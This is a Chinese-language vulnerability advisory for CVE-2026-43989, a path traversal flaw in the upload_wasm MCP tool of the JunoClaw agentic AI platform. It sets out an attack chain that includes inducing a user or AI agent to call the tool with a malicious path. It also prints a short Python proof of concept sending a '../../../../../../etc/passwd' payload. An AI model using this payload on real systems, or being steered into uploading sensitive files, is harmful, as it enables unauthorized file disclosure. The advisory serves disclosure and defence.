CVE-2026-43989 CVSS 8.5 高危

CVE-2026-43989 JunoClaw文件路径遍历漏洞

披露日期: 2026-05-12

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-43989

漏洞类型

路径遍历/任意文件读取

CVSS评分

8.5 高危

攻击向量

本地 (AV:L)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

JunoClaw

漏洞概述

JunoClaw是一个基于Juno Network构建的智能体AI平台。在0.x.y-security-1版本之前，其upload_wasm MCP工具存在安全漏洞。该工具接受来自智能体的文件系统路径并上传解析后的字节内容，但未对路径位置、符号链接目标、文件大小或文件格式进行任何验证。攻击者可利用此漏洞读取敏感文件或上传恶意内容。

技术细节

该漏洞的核心成因在于JunoClaw平台中`upload_wasm` MCP工具缺乏必要的输入验证与沙箱隔离机制。当AI智能体（Agent）向该工具传递一个文件系统路径时，工具会直接解析该路径并将对应的文件内容作为字节流上传，完全绕过了操作系统层面的安全检查。由于系统未对路径进行合法性校验（如路径遍历检测）、未验证符号链接（Symlink）的真实目标、也未限制文件大小与格式，攻击者可以利用这一缺陷。具体利用方式包括构造包含“../”的路径遍历Payload，或通过软链接指向/etc/passwd等敏感文件，从而实现任意文件读取。结合CVSS向量分析，攻击者虽然需要本地触发（AV:L）和用户交互（UI:R），但一旦成功，即可造成高机密性影响（C:H）和高完整性影响（I:H），范围可波及整个系统（S:C）。

攻击链分析

STEP 1

1. 发现阶段

攻击者识别出目标正在运行JunoClaw平台，且版本低于0.x.y-security-1。

STEP 2

2. 构造Payload

攻击者构造包含路径遍历序列（如../）的恶意文件路径，或创建指向敏感文件的符号链接。

STEP 3

3. 诱导交互

由于需要用户交互（UI:R），攻击者诱导用户或智能体执行包含恶意路径的指令，调用upload_wasm工具。

STEP 4

4. 执行利用

upload_wasm工具解析恶意路径，读取并上传目标文件（如/etc/passwd或配置文件）。

STEP 5

5. 数据泄露

攻击者获取上传的文件内容，导致系统机密性受损（C:H），并可能进一步利用获取的信息破坏完整性（I:H）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Hypothetical exploit for the upload_wasm tool
# The vulnerability allows reading arbitrary files due to lack of path validation.

target_url = "http://vulnerable-host:port/api/upload_wasm"

# Malicious path attempting to traverse directories and read /etc/passwd
# Adjust the traversal depth based on the working directory of the application
malicious_path = "../../../../../../etc/passwd"

payload = {
    "path": malicious_path
}

try:
    response = requests.post(target_url, json=payload)

    if response.status_code == 200:
        print("[+] Potential Vulnerability Detected!")
        print("[+] Response Content:")
        print(response.text)
    else:
        print("[-] Request failed with status code:", response.status_code)

except Exception as e:
    print("[-] Error during exploit attempt:", str(e))

影响范围

JunoClaw < 0.x.y-security-1

防御指南

临时缓解措施

如果无法立即升级，建议禁用`upload_wasm` MCP工具的功能，或者在操作系统层面严格限制运行该服务的用户权限，确保其无法访问系统敏感目录。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表